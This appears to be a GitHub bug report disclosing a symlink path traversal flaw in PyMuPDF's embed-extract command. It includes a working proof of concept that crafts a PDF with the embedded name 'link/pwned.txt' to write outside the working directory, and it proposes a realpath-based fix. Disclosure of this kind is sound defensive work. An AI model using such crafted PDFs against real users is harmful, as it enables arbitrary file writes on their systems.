Skip to content

Path traversal via symlink in embedded_get() — abspath does not resolve symlinks #5089

Description

@AAtomical

Description of the bug

embedded_get() in src/__main__.py is vulnerable to path traversal via symlink. The function uses os.path.abspath() to validate that an embedded file's stored name stays within the current working directory, but abspath() is purely lexical — it does not resolve symbolic links. The subsequent open(filename, "wb") follows symlinks at runtime, allowing an attacker-crafted PDF to write arbitrary files outside the current directory.

Vulnerable code path:

filename = args.output if args.output else d["filename"]
if not args.unsafe and not args.output:
    ...
    filename_abs = os.path.abspath(filename)                    # lexical only
    if not filename_abs.startswith(os.getcwd() + os.sep):       # check passes
        sys.exit(...)
with open(filename, "wb") as output:                            # follows symlinks
    output.write(stream)

The root cause is that os.path.abspath() normalizes the path string without touching the filesystem, while open() resolves the full symlink chain at write time.

How to reproduce the bug

Setup:

rm -rf /tmp/poc_workdir /tmp/poc_escaped
mkdir /tmp/poc_workdir /tmp/poc_escaped
ln -s /tmp/poc_escaped /tmp/poc_workdir/link

Craft a PDF with embedded filename link/pwned.txt:

python3 -c "
import pymupdf
doc = pymupdf.open()
doc.insert_page(-1)
doc.embfile_add('payload', b'PROOF_OF_ESCAPE', filename='link/pwned.txt')
doc.save('/tmp/poc_workdir/evil.pdf')
doc.close()
"

Show that the abspath guard passes while the real destination is outside cwd:

python3 -c "
import os; os.chdir('/tmp/poc_workdir')
f = 'link/pwned.txt'
print('abspath: ', os.path.abspath(f))
print('realpath:', os.path.realpath(f))
print('cwd:     ', os.getcwd())
print('guard passes:', os.path.abspath(f).startswith(os.getcwd() + os.sep))
print('actually inside cwd:', os.path.realpath(f).startswith(os.getcwd() + os.sep))
"

Extract via the CLI:

cd /tmp/poc_workdir && python3 -m pymupdf embed-extract evil.pdf -name payload

Confirm the file landed outside the working directory:

cat /tmp/poc_escaped/pwned.txt

Output: PROOF_OF_ESCAPE. The write went through the symlink to /tmp/poc_escaped/, completely outside /tmp/poc_workdir/.

Cleanup:

rm -rf /tmp/poc_workdir /tmp/poc_escaped
Image

Suggested fix

Use os.path.realpath() instead of os.path.abspath():

filename_real = os.path.realpath(filename)
cwd_real = os.path.realpath(os.getcwd())
if not filename_real.startswith(cwd_real + os.sep):
    sys.exit(f'refusing to write stored name outside current directory: {filename}')

PyMuPDF version

1.28.2

Operating system

MacOS

Python version

3.11

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions